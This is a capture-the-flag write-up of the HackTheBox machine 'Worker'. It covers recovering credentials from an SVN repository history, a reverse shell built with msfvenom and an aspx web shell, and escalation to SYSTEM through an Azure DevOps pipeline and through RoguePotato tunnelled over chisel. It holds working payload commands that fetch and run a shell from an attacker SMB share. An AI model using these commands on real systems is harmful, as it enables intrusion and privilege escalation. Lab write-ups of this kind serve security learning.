Worker is a medium level box on HackTheBox and is unique because its usage of the DevOps workflow as an attack vector. Getting both user and System required either knowledge of Azure DevOps or some considerable enumeration, but everything else was not too difficult.

Walkthrough

A basic and full port nmap scan, followed by a script scan on the ports found reveals the following information

┌──(root💀kali)-[/home/kali]            
└─# nmap -sVC -p 80,3690,5985 worker.htb                                                               
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-06 17:38 EST    
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.14s latency).                                                                            
                                                                                                       
PORT     STATE SERVICE  VERSION                                                                        
80/tcp   open  http     Microsoft IIS httpd 10.0                                                       
|_http-title: IIS Windows Server                                                                       
| http-methods:                                                                                        
|_  Potentially risky methods: TRACE                                                                   
|_http-server-header: Microsoft-IIS/10.0
3690/tcp open  svnserve Subversion                 
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                        
|_http-title: Not Found                                                                                
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

A website is revealed to be open, but it is just the default IIS page. WinRM is also open, but more significant is Subversion, a version control tool like Git. Before we enumerate Subversion, we should run a subdomain search on the website just in case something vulnerable can be found.

┌──(root💀kali)-[/home/kali/HackTheBox/Worker]
└─# gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u worker.htb 
===============================================================[136/271]
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://worker.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/12/07 03:45:12 Starting gobuster in VHOST enumeration mode
===============================================================
Found: alpha.worker.htb (Status: 200) [Size: 6495]
Found: story.worker.htb (Status: 200) [Size: 16045]
Found: cartoon.worker.htb (Status: 200) [Size: 14803]
Found: lens.worker.htb (Status: 200) [Size: 4971]
Found: dimension.worker.htb (Status: 200) [Size: 14588]
Found: spectral.worker.htb (Status: 200) [Size: 7191]                                                    
Found: twenty.worker.htb (Status: 200) [Size: 10134] 

These subdomains are just empty HTML5Up site templates. Onto Subversion. Enumerating it, we find that the repository has gone through some revision and there’s a development website at http://devops.worker.htb (which means we need to add the entry “10.10.10.203 devops.worker.htb” to our /etc/hosts file). Also, there seems to be credentials leaked.

┌──(root💀kali)-[/home/kali/HackTheBox/Worker/]
└─# svn log svn://worker.htb   
//Checking the commit history of the repo
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line
Added note that repo has been migrated      
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line
Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line
-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line
Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line
First version
------------------------------------------------------------------------


┌──(root💀kali)-[/home/kali/HackTheBox/Worker/]
└─# svn checkout svn://worker.htb
//Downloading the repo
A    dimension.worker.htb
A    dimension.worker.htb/LICENSE.txt
A    dimension.worker.htb/README.txt
A    dimension.worker.htb/assets
A    dimension.worker.htb/assets/css
A    dimension.worker.htb/assets/css/fontawesome-all.min.css
.....
A    dimension.worker.htb/index.html                                                                   
A    moved.txt                                                                                         
Checked out revision 5.

┌──(root💀kali)-[/home/kali/HackTheBox/Worker/dimension.worker.htb]
└─# cat ../moved.txt          
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)

┌──(root💀kali)-[/home/kali/HackTheBox/Worker]
└─# svn up -r 2
//reverting the repo to one of the previous versions and finding something interesting
Updating '.':
D    moved.txt
A    deploy.ps1
Updated to revision 2.

┌──(root💀kali)-[/home/kali/HackTheBox/Worker]
└─# cat deploy.ps1       
$user = "nathen" 
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")

The credentials are valid and we can log in, but they don’t work for Evil-WinRM (evil-winrm -i 10.10.10.203 -u "nathen" -p "wendel98" fails). After searching the site a bit, it seems that the repositories here correspond to the subdomains we found earlier. Playing around with the website shows us we can make commits too. We can start an SMB server with a exe reverse shell in it, upload a web shell (/usr/share/davtest/backdoors/aspx_cmd.aspx), spin up a netcat listener, then execute it. The web shell will probably be located at the respective subdomain of the branch that we merge.

//Generating the payload, spinning up the smb server, and creating a listener with rlwrap for a slightly better shell
┌──(root💀kali)-[/home/kali/HackTheBox/Worker]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.6 LPORT=4444 -f exe > shell.exe                                             
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

//The machine did a security check on my smb server so I had to put smb2 support on
┌──(root💀kali)-[/home/kali/HackTheBox/Worker]
└─# smbserver.py share . -smb2support 

┌──(root💀kali)-[/home/kali]
└─# rlwrap nc -nvlp 4444  

We’re in as the defaultapppool user. Checking our privileges, it appears that we have SeImpersonate, and because this is a Server 2019 (from running systeminfo on the machine), we could try a RoguePotato attack. Or we can enumerate further. We’ll get back to that first option.

c:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


Running winpeas (\\10.10.16.6\\share\winpeas.exe as defaultapppool), we find that theres a W: drive and that there is a user directory for robisl. Looking into the files of the W: directory, one that sticks out is in the W:\svnrepos\www\conf directory is named passwd. Reading it gives a bunch of credential pairs, but we see there is a pair for robisl.

c:\windows\system32\inetsrv> dir C:\Users
 Volume in drive C has no label.
 Volume Serial Number is 32D6-9041

 Directory of C:\Users

2020-07-07  16:53    <DIR>          .
2020-07-07  16:53    <DIR>          ..
2020-03-28  14:59    <DIR>          .NET v4.5
2020-03-28  14:59    <DIR>          .NET v4.5 Classic
2020-08-17  23:33    <DIR>          Administrator
2020-03-28  14:01    <DIR>          Public
2020-07-22  00:11    <DIR>          restorer
2020-07-08  18:22    <DIR>          robisl 	<------------------------------------a User
               0 File(s)              0 bytes
               8 Dir(s)  10246832128 bytes free
               
c:\windows\system32\inetsrv>type W:\svnrepos\www\conf\passwd

### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.
                                                   
[users]
..alot of pairs
robisl = wolves11

These credentials work for both WinRM and the DevOps website.

┌──(root💀kali)-[/home/kali/HackTheBox/Worker]
└─# vil-winrm -i worker.htb -u 'robisl' -p 'wolves11'

Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\robisl\Documents>

Robisl doesn’t seem to have much more for us on the machine itself (even less considering we don’t have SeImpersonate), but maybe the DevOps service has higher privileges (logging into the website as robisl and checking the “Agents “under the “Project Settings” confirms that Azure is our way to System). While the website itself has low privileges, as we saw earlier, Azure has something called Pipelines and Agents. Pipelines are meant to build and test code, but they have the potential to execute code too. Agents are what help them execute code and the website configurations showed us they are executed with System privileges. We will set up our listener, create a powershell script to call on our payload again, and then make and execute a pipeline so we can get a shell.

┌──(root💀kali)-[/home/kali]
└─# rlwrap nc -nvlp 4444    

*Evil-WinRM* PS C:\Users\robisl\Documents>mkdir C:\Temp

Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        12/7/2021  11:38 AM                Temp

*Evil-WinRM* PS C:\Users\robisl\Documents>echo 'powershell -command "cmd /c \\10.10.16.6\\share\shell.exe" > C:\Temp\script.ps1'

And now we’re System.

Afterthoughts

This box was pretty fun, most of the steps lined up and it was interesting to be working with DevOps related stuff. Code execution through DevOps tools is definetely something to look out for. Also, having public repositories is probably not safe, especially when the history is viewable (for a company, anyways).

Bonus

Lets not forget about RoguePotato. This probably wasn’t the intended route, but its a viable route. RoguePotato is a very complicated exploit. Before we talk about that, we need to understand why JuicyPotato, another exploit utilizing SeImpersonate, doesn’t work here. These exploits require access to the OXID resolver (to keep things simple, just know that this thing exists and don’t question its functionality). JuicyPotato was able to access OXID through creating its own service on a custom port and querying OXID under the context of that service, and then the exploit would use the SeImpersonate token to grab the System token and run commands. However, in Server 2019, OXID can only be queried via port 135. Since JuicyPotato spawned its own service to query OXID, this doesn’t work anymore.

However, RoguePotato works by sending a remote OXID request, under the context of System, to our attacker machine, which will be forwarding the traffic back to the machine running RoguePotato, but on a port that RoguePotato is listening on. This listening port is actually a fake OXID server generated by RoguePotato. This fake OXID server points towards a named pipe that Rogue Potato also created, and the initial request (send as System) will trigger an “Authentication Callback”. Because System is a client to the server (the named pipe), RoguePotato is able to use the SeImpersonate privilege to impersonate the client. From there, RoguePotato launches a process.

That was a lot of technical stuff (even though its heavily simplified). But how do we use it on this box? Well it’s a little difficult because there’s a firewall.

c:\Temp>netsh firewall show config 

Port configuration for Standard profile:                                           
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------
5985   TCP       Enable  Inbound               open winrm                          
3690   TCP       Enable  Inbound               Open Port 3690
8080   TCP       Enable  Inbound               Azure DevOps Server:8080

Remember, we need our attacker machine (the middle man in connecting the remote OXID request to the fake OXID server) to forward traffic back to the machine. But the firewall blocks this, as it is an inbound connection. Our solution: creating a tunnel with chisel. The machine will be the client connecting outbound to our attacking machine, the server. If you don’t have the chisel.exe, you can just download it from the Github repo, unzip it, and transfer it via SMB (copy \\10.10.16.6\\share\chisel.exe C:\Temp\chisel.exe).

//Our attacking machine is listening on 8000 for a chisel client to connect
┌──(root💀kali)-[/home/kali/GithubTools/chisel]
└─# chisel server -p 8000 --reverse 

2021/12/07 02:32:14 server: Reverse tunnelling enabled
2021/12/07 02:32:14 server: Fingerprint CudNiCK8VPwO5z06ZDkdUdnwsEDR1OEzsm+ZgQTfxl0=
2021/12/07 02:32:14 server: Listening on http://0.0.0.0:8000
2021/12/07 02:34:36 server: session#1: Client version (1.7.6) differs from server version (0.0.0-src)
2021/12/07 02:34:36 server: session#1: tun: proxy#R:9999=>localhost:9999: Listening

//We are connecting to our attacking machine, on the chisel server's port. From there we are redirecting traffic
//from the attacking machine's 9999 to our own 9999
c:\Temp>.\chisel64.exe client 10.10.16.6:8000 R:9999:localhost:9999

2021/12/07 09:48:53 client: Connecting to ws://10.10.16.6:8000

Now we set up our listener, our SMB server with our payload, and socat to redirect the traffic.

┌──(root💀kali)-[/home/kali/HackTheBox/Worker]
└─# rlwrap nc -nvlp 4444

┌──(root💀kali)-[/home/kali/HackTheBox/Worker]
└─# smbserver.py share . -smb2support

//we are redirecting anything incoming to 135, to our own 9999. Because of chisel, our 9999 will be redirected //again to the victim machine on their 9999
┌──(root💀kali)-[/home/kali/HackTheBox/Worker]
└─# socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999 

With everything set up, let’s run the exploit.

//Since our attacking machine is redirecting traffic back to our 9999, we set up RoguePotato to have its fake //server on 9999 to catch the traffic.
c:\Temp>.\RoguePotato.exe -r 10.10.16.6 -l 9999 -e "C:\Temp\shell.exe"

┌──(root💀kali)-[/home/kali]
└─# rlwrap nc -nvlp 4444                                                                         
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.203.
Ncat: Connection from 10.10.10.203:54846.
Microsoft Windows [Version 10.0.17763.1282]

c:\Temp>whoami
nt authority\system

And we have System, again! This was arguably as difficult, if not more, than the other attack vector. This one was more technical with the port forwarding and understanding of RoguePotato, but the other one required more enumeration and understanding of Azure DevOps. Overall, really cool stuff.

-Dylan Tran 12/7/2021